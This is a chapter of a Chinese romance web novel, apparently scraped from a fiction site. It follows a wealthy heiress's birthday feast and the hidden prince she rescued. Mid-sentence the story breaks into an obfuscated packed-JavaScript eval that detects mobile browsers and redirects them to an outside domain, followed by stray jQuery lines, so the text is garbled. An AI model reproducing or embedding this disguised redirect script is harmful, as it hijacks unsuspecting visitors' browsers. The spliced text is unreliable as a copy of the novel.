夜幕渐沉,天际忽又飘起白来,朔风清寒,卷动青瓦之上未消的残雪。
姜府尤笼罩在一片笙歌笑语中。
抄手游廊里,身披织锦狐裘的少女斜倚在美人靠上,灿若烟霞的浮光锦裙下,探出一双缀着南珠的羊皮小靴。
只见她云髻峨峨,粉面酡红,明眸含笑,正望着梧桐树下闹作一团的好友们。
今日乃是余州富户姜家独女姜时雪的十七岁生辰宴。
姜家夫妇成亲十载不曾有后,方圆百里的庙宇几乎都被二老踏破,菩萨金身塑遍,香火堆叠成山,终是盼来了这么一位千金。
姜时雪自小养得娇贵,外人道这姜家千金比之皇亲国戚恐怕也不遑多让。
姜时雪生在大雪时节,今年又是多年不遇的寒冬。
姜老爷唯恐她觉得草木凋敝,满目荒芜,特调遣船队从岭南运来万千花卉,饶是天寒地冻,姜府却掩映在一片争奇斗艳之中。
后花园这棵梧桐树与姜时雪同龄,为讨吉利,姜家夫妇特地请来开光佛铃悬挂于梧桐枝头,取的正是铃响福绵,岁岁平安的好兆头。
高大梧桐树上绑着万千红线,密缀金铃,虽是隆冬时节,却有如繁花盛开,万蝶飞舞。
今日筵席上用的乃是特地从琼州运来的琼花酿,姜家二老向来不允姜时雪多饮,今儿难得破例,姜时雪贪杯,这会儿已然有些醉了。
每年生辰宴姜府都会为姜时雪放上一场绚烂的烟花,今日自然也不例外。
少年少女们等不及,此时先围在一起玩起了走线兔子。
憨态可掬的兔子尾部冒烟,伴随着“咻——”的一声,兔子满地乱窜,带起一连串的金黄火花。
少年少女们你推我搡,偶有一两个人被走线兔子追着跑,惊得喊声不断,众人笑作一团。
一个剑眉星目的少年扭过头来朝着姜时雪招手:“阿雪,歇够了没!快过来一起玩呀。”
此乃姜时雪的发小,余州刺史家的独子季琅。
其余人也纷纷停下来,“阿雪!快来呀!”
“过来一起玩呐!”
姜时雪拗不过他们,只好拢着狐裘起身:“来啦。”
嗓音软糯清甜,尾调带着点小女儿家的娇。
季琅挑了一个好看的走线兔子,把火折子塞到她手里,指着尾巴说:“点这儿!”
一旁的时家二姑娘时荔紧张道:“阿雪小心些,别燎到手了。”
姜时雪娘亲身体不好,姜时雪若是哪里磕着绊着,免不得又要叫伯母伤神过度卧床修养。
她话音刚落,走线兔子已经自姜时雪手底下“呲溜”一声窜了出去,火光成串间,走线兔子噼里啪啦在一人袍角处炸开!
那袍子许是什么易燃的材质,风一刮过,忽然烧了起来。
也不知是谁惊呼:“着火了!”
场上瞬时大呼小叫,闹成一团!
一片混乱中,被燎了袍角的少年不见慌乱,迅速将外袍一脱,远远扔到地上。
火光大盛,又渐渐熄灭了,烟雾缭绕间,露出一张清寒胜雪的脸。
他眼尾生得狭长,眸色极黑极冷,叫人不敢直视。
此时他虽然未着外袍,衣摆上也被熏得一片焦黑,但却无半分狼狈,只是安静地立在原地,表情冷峻。
“薛……薛尽,没烧着吧?”
一片寂静中,有人开口问。
被唤作薛尽的少年忽地抬起头来。
姜时雪猝不及防对上那双凛若秋霜的眼,心跳霎时漏了两拍。
这少年乃是她一个月前捡的。
那日她原是去玲珑斋挑选新出的胭脂,哪知路上雪越下越大,怕被阻在外面,只好恹恹折返。
回程路上,银烛率先发现街边躺着一个浑身脏污的人。
大雪覆了他满身,露在外面的肌肤已然是青紫之色,看上去大抵是活不成了。
路人皆嫌晦气,纷纷绕道避开。
余州富庶,每年都会有逃过来的难民,姜府也常常布善施粥,能帮则帮。
姜时雪心善,命阿刚下去查看情况,若是人还活着,便送他去医馆,再留些银钱,之后看他造化。
若是已经死了……便将他埋到城郊去,也好有个安身之处。
没想到阿刚才触上他的脖颈,那人忽地睁开了眼。
街道上满是泥泞,他周身脏污不堪,偏偏那双眼,比雪色还要清冷三分。
叫她蓦地想起了故人。
饶是已经虚弱之至,这人的眼神却隐隐带着威压,叫阿刚心头一跳。
他放缓声音:“我们姑娘叫我送你去医馆。”
“阿刚。”
阿刚回头。
车帘被人打起,一只纤柔雪白的手探出来,皓腕之上,松松悬着一只赤金红宝石镯子。
“把他带上车来。”
那声音带着娇,叫人想起春日里盛放的枝头海棠。
这是他们的初遇。
少年伤得太重,在姜府一呆便是数日,随着姜时雪生辰将近,少年的伤也渐渐好起来,前几日刚能落地走动。
姜时雪也没想到他今日会出现在这里。
原本是大好的日子,却出了插曲。
银烛唯恐夫人听闻此事,又要叫薛尽离开,偏偏自家姑娘对这身份不明的少年偏袒得紧,两边已经不是第一次为这少年吵嘴了。
于是银烛忙上前说:“你衣裳烧坏了,我带你去换吧。”
祁昀淡淡看了一眼脚下烧成一团焦黑的衣裳。
没有人知道,那件外袍中藏着一张薄薄的绢帕,一张……绘着雪中海棠的绢帕。
祁昀看了一眼被人群簇拥在中间的姜时雪,终是挪开目光,跟着银烛走了。
少年清瘦的背影消失在拐角处,季琅蹙眉不喜道:“好端端的来这里干嘛?凭白扫人兴致。”
阿雪顾及姜伯母的身体,平日里并不会轻易惹姜伯母生气,却偏偏为这身份不明的少年与家里人闹了许多次。
季琅真是看见这人就来气!
他扭头将装满走线兔子的匣子踢开,对姜时雪说:“阿雪不是一贯喜欢玩投壶吗?走,我们去投壶。”
姜时雪朝薛尽离开的方向看了一眼,笑道:“好啊。”
小插曲就此揭过。
季琅惯来主意多,既是阿雪生辰,投壶自然也要有特别的玩法。
季琅高高举起一把箭:“每人五支箭,没有投中的话就要多给阿雪送一件礼物!”
话音落,有人反驳:“哪还来得及准备新的礼物,一般东西阿雪也看不上啊。”
姜府独女什么好东西没见过,他们都是早早搜罗,备下些新奇或金贵的玩意儿拿来送她,此时临时要加一样礼物,实在是为难人了。
姜时雪玩了一圈,此时头晕得很,坐在旁边的圈椅上,托着腮笑眼弯弯:“阿琅故意为难你们呢。”
她随手指了指时荔发上的一枚蜻蜓簪:“若是投不中,从身上拿一件东西扣在我这里就成。”
这主意好!
余州富庶,在场的谁家不是家财万贯,随手押一块玉佩都是上好的东西。
有了惩罚,少年少女们霎时来了兴致,场上很快笑闹一片。
不多时,姜时雪面前便堆起一堆东西。
下场的是一个怯生生的姑娘,她局促地将身上的香囊解下来递给姜时雪:“姜姑娘,这是我娘亲手缝制的,还望你不要嫌弃。”
这是肖家二姑娘,庶女出身,她也没想到会被人推上去玩投壶,此时窘迫得都快哭出来了。
肖家大姑娘忙走过来,递来一只玉簪:“阿雪,拿这个吧。”
姜时雪身上已经系了一只胭脂粉罗琦香囊,但看了一眼那怯生生的姑娘,还是笑盈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810726|175224||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盈将香囊接过来,收到袖中:“香囊很好看,玉簪肖大姑娘留着一会儿输给我。”
众人都笑起来。
许是琼花酿后劲大,又吹了冷风,姜时雪头更晕了。
她实在有些坐不住了,又不想扫了众人的兴,借着更衣的借口一个人偷偷溜走。
后花园离她住的月华堂有点距离,姜时雪打算就近找个没人的屋子先小憩一会儿。
她沿着抄手游廊走了一段,忽然觉得身体越来越燥热。
姜时雪将狐裘解开,冷风拂面,总算是舒服了些。
可没过多久,姜时雪又开始手脚发软,眼前也一阵阵发黑。
险些栽倒之际,她连忙扶着墙壁,张口想唤人。
哪知一开口,嗓子已经彻底哑了,尾调还带着奇怪的颤音。
姜时雪心中一惊,冷汗霎时流了下来。
厢房之内,祁昀刚刚换完干净的衣袍,眉目微敛,静坐在榻上。
他穿的不过是一件普通的直裰,却胜过锦衣华服,周身气度矜贵。
屋里陈设雅致,不像为外来客人准备的客房,倒像是富贵人家公子的寝房。
姜家二老又怎会叫外人闲话自家千金尚未成婚便在府邸中藏人,给祁昀安排的身份乃是姜府新进的一批奴仆。
只是姜时雪不愿他受苛待,为他准备的起居饮食都是上好的。
思及此处,祁昀黢黑如墨的眸中划过一丝浅浅的讥讽。
姜家业大,却养出这么一个单纯到近乎愚笨的女儿。
他谎称自己家中生变,一路南下投奔亲戚,却遭遇寇匪沦落此地,姜时雪没有派人核实,便欣然接纳他住下。
只可惜,他根本不是什么落难公子。
他随同工部尚书前往淮州查探溧河贪墨案,却遭人暗害九死一生,一路逃亡至此。
若非姜时雪搭救,身受重伤的他恐怕真要如贵妃所愿,不明不白死在异乡。
祁昀清楚,一日找不到他的尸身,贵妃便一日不会罢休。
他与部下失散,如今恐怕只有母家徐家在四下搜寻他,暂时避在姜府静观其变,反倒是上策。
毕竟他那父皇……恐怕早就恨不得将他除之而后快。
窗外忽然炸开朵朵烟花,惊呼声、赞美声、祝贺声不绝于耳。
绚烂的光透过窗棂映进屋内,却照不进祁昀冷寂的眼瞳。
祁昀唇角勾起冷笑。
这样热闹的日子,他又何必要凑上前送一份拿不出手的礼物。
他端起桌上的酒,一饮而尽。
烈酒生燥,微微热意在四肢百骸流转开,祁昀终于没那么冷了。
就在这时,门扉忽然传来轻响。
祁昀霎时背脊紧绷,摸出藏在袖中的匕首疾步走到门边。
“谁?”
烟花接连不断炸开。
明明灭灭的光影之中,格门之上倒映出一道云鬓松散的剪影。
姜时雪似是没了力气,像猫儿一般一下又一下挠着门。
祁昀如玉雕琢的脸庞隐在一片暗色之中。
他自是知道她对他不一般,可也止步于此。
姜家家教严格,留他在府中已是最大的让步,平日里是断断不许他们二人这般私下见面的。
祁昀面无表情立在门前,等她自己离开。
烟花接连盛放,中间偶有一段安静,他忽然听到了女子娇声的啜泣。
似是被微风摇动的海棠花枝轻轻蹭到,祁昀指尖微微一蜷。
许久之后,他终是打开了门。
香风温软,姜时雪如同一朵开到荼靡的海棠花,轻飘飘扑进了他的怀中。
他嗅到了她身上的酒气。
祁昀瞳孔微缩之际,女子香软的藕臂已然攀上他的脖颈,她扬起一张梨花带雨的芙蓉面……
不管不顾吻上了他的唇。